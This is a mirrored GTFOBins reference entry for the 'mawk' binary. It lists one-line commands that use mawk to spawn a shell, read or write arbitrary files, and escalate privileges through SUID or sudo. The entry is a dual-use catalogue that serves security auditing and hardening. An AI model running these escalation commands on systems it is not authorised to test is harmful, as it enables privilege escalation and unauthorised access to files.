mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
22 lines
471 B
Markdown
22 lines
471 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: mawk 'BEGIN {system("/bin/sh")}'
|
|
file-write:
|
|
- code: |
|
|
LFILE=file_to_write
|
|
mawk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'
|
|
file-read:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
mawk '//' "$LFILE"
|
|
suid:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
./mawk '//' "$LFILE"
|
|
sudo:
|
|
- code: sudo mawk 'BEGIN {system("/bin/sh")}'
|
|
limited-suid:
|
|
- code: ./mawk 'BEGIN {system("/bin/sh")}'
|
|
---
|